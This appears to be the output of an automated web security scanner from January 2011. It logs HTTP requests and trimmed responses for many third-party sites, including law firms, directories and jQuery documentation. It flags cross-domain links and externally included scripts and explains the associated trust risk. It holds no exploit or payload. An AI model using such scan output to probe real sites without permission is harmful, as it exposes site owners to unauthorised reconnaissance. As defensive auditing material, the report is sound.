is certified by TRUSTe" title="This site is certified by TRUSTe" /></a> <a href="http://www.yellowpages.com" target="_blank"><img src="//www.att.com/homepage/Common/indc/homepage/images/footer/ypcom.gif" alt="YP.com - the new yellowpages.com" title="YP.com - the new yellowpages.com" /></a> <a href="http://www.realpageslive.com" target="_blank"><img src="//www.att.com/homepage/Common/indc/homepage/images/footer/DWYPgs.gif" alt="Digital White & Yellow Pages" title="Digital White & Yellow Pages" class="yellowpages" style="margin-right:0 ...[SNIP]...
GET /NewsEvents/PressRelease.aspx?id=329 HTTP/1.1 Host: www.crowell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=70017346.1295449735.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=70017346.16201182.1295449735.1295449735.1295449735.1; __utmc=70017346; __utmb=70017346.1.10.1295449735; ASP.NET_SessionId=l4kde1moofjoay55nfsxex55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:43:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26385
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /chamber/memberDetail.asp?763 HTTP/1.1 Host: www.dcchamber.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Wed, 19 Jan 2011 15:47:49 GMT Server: Apache/2.0.63 (Red Hat) Set-Cookie: PHPSESSID=5vkrrjg7cv37iiacajq7gu3jm0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>DC Chamber of Commer ...[SNIP]... </script>
The response contains the following links to other domains:
http://www.e-classifieds.net/
http://www.hagenhosting.com/
http://www.hagensoftware.com/
Request
GET /cgi-bin/calendar/calendar.cgi?session_key=&search_and_display_db_button=on&day=19&month=1&year=2011&results_format=headlines&query=date_search HTTP/1.1 Host: www.dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Date: Wed, 19 Jan 2011 15:48:03 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Accept-Ranges: bytes Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US"> <head> <title>Temporarily Unavailable</title> <meta http-equiv= ...[SNIP]... <td align="right"><a href="http://www.e-classifieds.net"><img src="http://www.dcregistry.com/graphics/eclassbanner.gif" width="468" height="60" border="1" align="middle" title="Classifieds for every website!" alt="banner" /> ...[SNIP]... </a>|<a href="http://www.hagenhosting.com" target="_top">Web Hosting</a> ...[SNIP]... <td class="regalt" align="center"><a href="http://www.hagenhosting.com"><img alt="Hagen Hosting" width="305" height="44" title="Hagen Hosting: Premium quality web hosting" src="http://www.dcregistry.com/graphics/test3.gif" border="1" /> ...[SNIP]... <font class="reg"><a href="http://www.hagenhosting.com"><img src="http://www.dcregistry.com/graphics/hagen_small2.gif" width="130" height="56" border="1" alt="Premium quality web hosting!" title="Premium quality web hosting!" /> ...[SNIP]... <br /> <a href="http://www.hagenhosting.com">Premium quality web hosting!</a> ...[SNIP]... <p><a href="http://www.hagenhosting.com"><img src="http://www.dcregistry.com/graphics/hagen_small2.gif" border="1" alt="Premium quality web hosting!" width="130" height="56" title="Premium quality web hosting!" /> ...[SNIP]... <br /> <a href="http://www.hagenhosting.com">Premium quality web hosting!</a> ...[SNIP]... <font class="small"><a href="http://www.e-classifieds.net"><img src="http://www.dcregistry.com/graphics/eclassbanner.gif" width="468" height="60" border="1" align="middle" title="Classifieds for every website!" alt="banner" /> ...[SNIP]... <br /> <a href="http://www.e-classifieds.net">Classifieds for every website!</a> ...[SNIP]... </script> <a href="http://www.hagensoftware.com">Hagen Software</a> ...[SNIP]...
The response contains the following links to other domains:
http://www.e-classifieds.net/
http://www.hagenhosting.com/
http://www.hagensoftware.com/
Request
GET /cgi-bin/classifieds/classifieds.cgi?db=rentals HTTP/1.1 Host: www.dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:47:56 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 57980
GET /showoffice.aspx?Show=542 HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=uhd35155lvi11l45rc200ezs; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 63652
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head pro ...[SNIP]... </script>
<a href="http://www.litigationtrends.com"> <img src="/img/banners/ribbon/Ribbon.jpg" alt="" height="45" width="750" border="0" /> ...[SNIP]... </strong> an independent news organization that focuses on the inner workings of the U.S. Department of Justice, the Attorney General Office, U.S. Attorney news and <a href="http://www.mainjustice.com/justanti-corruption-a-new-site-from-main-justice/">white-collar crime, corruption and compliance law</a> ...[SNIP]... <td align="center" bordercolor="#DDD1C3">
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.arnoldporter.com/">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.skadden.com/">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.wileyrein.com/">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.fulbright.com/dc">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.cov.com/">here</A>.
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.jonesday.com/">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://dcregistry.com/lawfirms.html">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.hoganlovells.com/">here</A> ...[SNIP]...
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.crowell.com/">here</A> ...[SNIP]...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
GET /washington%20dc%20law%20firms?cb=27&cmp=3917/x22 HTTP/1.1 Host: www.info.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /offices/office_detail.aspx?office=26&subsection=1 HTTP/1.1 Host: www.jonesdaycareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /results.aspx?keyword=law+offices&CID=2531/x22 HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The response contains the following link to another domain:
http://www.google-analytics.com/urchin.js
Request
GET /2011insights.cfm?contentID=52 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2CcontentID%3D52;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//E ...[SNIP]... </script>
The response contains the following link to another domain:
http://www.google-analytics.com/urchin.js
Request
GET /alumni/Index.cfm?contentID=7 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: ALSITETOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: ALUSERTOKEN=;expires=Tue, 19-Jan-2010 15:14:39 GMT;path=/ Set-Cookie: BACKLINK=%2CcontentID%3D7;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//Dtd Xhtml 1.0 Strict//EN" "http://w ...[SNIP]... <!-- end border table -->
The response contains the following link to another domain:
http://www.google-analytics.com/urchin.js
Request
GET /index.cfm?contentID=42&itemID=1478 HTTP/1.1 Host: www.skadden.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=34916643.1295449749.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); BACKLINK=; __utma=34916643.540692983.1295449749.1295449749.1295449749.1; __utmc=34916643; __utmb=34916643;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2CcontentID%3D42%26itemID%3D1478;expires=Fri, 11-Jan-2041 15:14:39 GMT;path=/ Content-Type: text/html; charset=UTF-8
GET /gypr.aspx?afid=1993&cc=5411105100&cr=3209505169&ct=Washington/x22 HTTP/1.1 Host: www.usdirectory.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:09:38 GMT Server: Microsoft-IIS/6.0 X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: Lng=en; domain=usdirectory.com; expires=Sat, 19-Feb-2011 15:09:38 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 47061
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Date ...[SNIP]... <body>
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </script>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /javascript-mouse-wheel/ HTTP/1.1 Host: adomas.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Wed, 19 Jan 2011 18:03:32 GMT Content-Type: text/html Content-Length: 13850 Last-Modified: Tue, 20 Oct 2009 19:28:11 GMT Connection: close Accept-Ranges: bytes
GET / HTTP/1.1 Host: adsolutions.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 19 Jan 2011 16:57:32 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 2.0 Pragma: no-cache Expires: Wed, 23 July 1997 19:47:00 GMT Cache-Control: private Content-Length: 28254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>
GET /internet-solutions HTTP/1.1 Host: adsolutions.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Wed, 19 Jan 2011 16:57:30 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 2.0 Pragma: no-cache Expires: Wed, 23 July 1997 19:47:00 GMT Cache-Control: private Content-Length: 20840
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>
GET / HTTP/1.1 Host: betalabs.yellowpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:57:34 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 X-Pingback: http://betalabs.attinteractive.com/xmlrpc.php Link: <http://wp.me/>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62963
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head profi ...[SNIP]... <link rel='shortlink' href='http://wp.me/' /> <script type="text/javascript" src="http://betalabs.attinteractive.com/wp-content/plugins/flash-video-player/swfobject.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://stats.wordpress.com/e-201103.js
Request
GET / HTTP/1.1 Host: blog.distopico.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:49 GMT Server: Apache/2.2.3 (CentOS) DAV/2 Phusion_Passenger/3.0.0 PHP/5.1.6 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 X-Powered-By: PHP/5.1.6 Last-Modified: Wed, 19 Jan 2011 17:20:08 GMT Vary: Cookie,Accept-Encoding,User-Agent Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: public Cache-Control: public, must-revalidate, proxy-revalidate Etag: 2d722cb2a8913fbb9795a2c8e98664fd X-Pingback: http://blog.distopico.org/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 34940
GET / HTTP/1.1 Host: blog.fabioseixas.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:51 GMT Server: Apache Last-Modified: Mon, 17 Jan 2011 21:08:15 GMT ETag: "ad8423-e691-49a112eac2dc0" Accept-Ranges: bytes Content-Length: 59025 Connection: close Content-Type: text/html
The response dynamically includes the following script from another domain:
http://www.google-analytics.com/urchin.js
Request
GET / HTTP/1.1 Host: blog.improveit.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /search?vc=&p=empreendedorismo+brasil+yahoo&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-707 HTTP/1.1 Host: br.search.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:05:56 GMT Set-Cookie: B=2tu1pj16jea04&b=3&s=3m; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: sSN=PluLBVU2wWFkQiXi8knQSfQTma.AhXOlWTCD0If8GxkhL7AuwRort4FyHaF395BQL2mkJ3mIN9B3UBgfftj1.A--; path=/; domain=.search.yahoo.com Cache-Control: private Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 42868
The response dynamically includes the following scripts from other domains:
http://d.yimg.com/ds/badge2.js
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /latest-news/2011-01-10/deal-has-busy-first-day-governor HTTP/1.1 Host: chronicle.augusta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:06:16 GMT Server: Apache X-Powered-By: PHP/5.2.6 X-Drupal-Cache: MISS Expires: Wed, 19 Jan 2011 18:11:16 GMT Last-Modified: Wed, 19 Jan 2011 18:06:16 +0000 Cache-Control: must-revalidate, max-age=0, s-maxage=300 ETag: "1295460376" Content-Type: text/html; charset=utf-8 X-Cache: MISS from sms6.morris.com X-Cache-Lookup: MISS from sms6.morris.com:3128 Connection: close
The response dynamically includes the following scripts from other domains:
http://d.yimg.com/ds/badge2.js
http://s7.addthis.com/js/250/addthis_widget.js
Request
GET /latest-news/2011-01-13/deal-names-2-judicial-panel HTTP/1.1 Host: chronicle.augusta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Wed, 19 Jan 2011 18:02:37 GMT Server: Apache X-Powered-By: PHP/5.2.6 X-Drupal-Cache: MISS Expires: Wed, 19 Jan 2011 18:07:37 GMT Last-Modified: Wed, 19 Jan 2011 18:02:37 +0000 Cache-Control: must-revalidate, max-age=0, s-maxage=300 ETag: "1295460157" Content-Type: text/html; charset=utf-8 Age: 218 Content-Length: 65921 X-Cache: HIT from sms6.morris.com X-Cache-Lookup: HIT from sms6.morris.com:3128 Connection: close
The response dynamically includes the following script from another domain:
http://edge.quantserve.com/quant.js
Request
GET / HTTP/1.1 Host: cobregratis.com.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK SynthaSite-ID: hs1 (127.0.10.2) X-Powered-By: PHP/5.2.4-2ubuntu5.7 Content-type: text/html; charset=utf-8 Last-Modified: Mon, 03 Jan 2011 03:08:06 GMT Etag: 45e66d038f0ae5e1cc52f9b82bdd5463 Cache-Control: public, max-age=0 Server: lighttpd/1.5.0 X-Varnish: 535302684 Via: 1.1 varnish Content-Length: 20676 Date: Wed, 19 Jan 2011 18:06:33 GMT X-Varnish: 128321242 Age: 0 Via: 1.1 varnish Connection: close X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /college-degrees.aspx HTTP/1.1 Host: contact.collinscollege.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /licenses/by-nd/2.0/deed.en HTTP/1.1 Host: creativecommons.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Wed, 19 Jan 2011 00:11:31 GMT ETag: "3c03c-489b-49a27dbed32c0" Vary: Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Language: en Content-Length: 18587 Date: Wed, 19 Jan 2011 16:57:35 GMT X-Varnish: 2003340608 Age: 0 Via: 1.1 varnish Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:cc="http://creativecommons.org/ns#"
GET /licenses/by/2.5/ HTTP/1.1 Host: creativecommons.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 18674 Date: Wed, 19 Jan 2011 16:57:34 GMT X-Varnish: 2003340492 Age: 0 Via: 1.1 varnish Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:cc="http://creativecommons.org/ns#"
GET /Tutorials:Introducing_$(document HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:07:45 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Content-language: en Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 14566
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
GET /UI HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:24:11 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Last-modified: Wed, 25 Aug 2010 15:56:34 GMT Content-language: en Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 19643
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
GET /UI/Datepicker HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:24:12 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Content-language: en Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Last-modified: Fri, 10 Dec 2010 16:04:54 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 95300
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
GET /UI/Dialog HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:24:10 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Content-language: en Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Last-modified: Fri, 10 Dec 2010 17:56:02 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 58669
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
GET /UI/Draggables HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:24:10 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Content-language: en Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 14517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
GET /UI/Droppables HTTP/1.1 Host: docs.jquery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:57:37 GMT Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1 X-Powered-By: PHP/5.2.3-1+lenny1 Content-language: en Vary: Accept-Encoding,Cookie Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 14517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="con ...[SNIP]... <![endif]-->
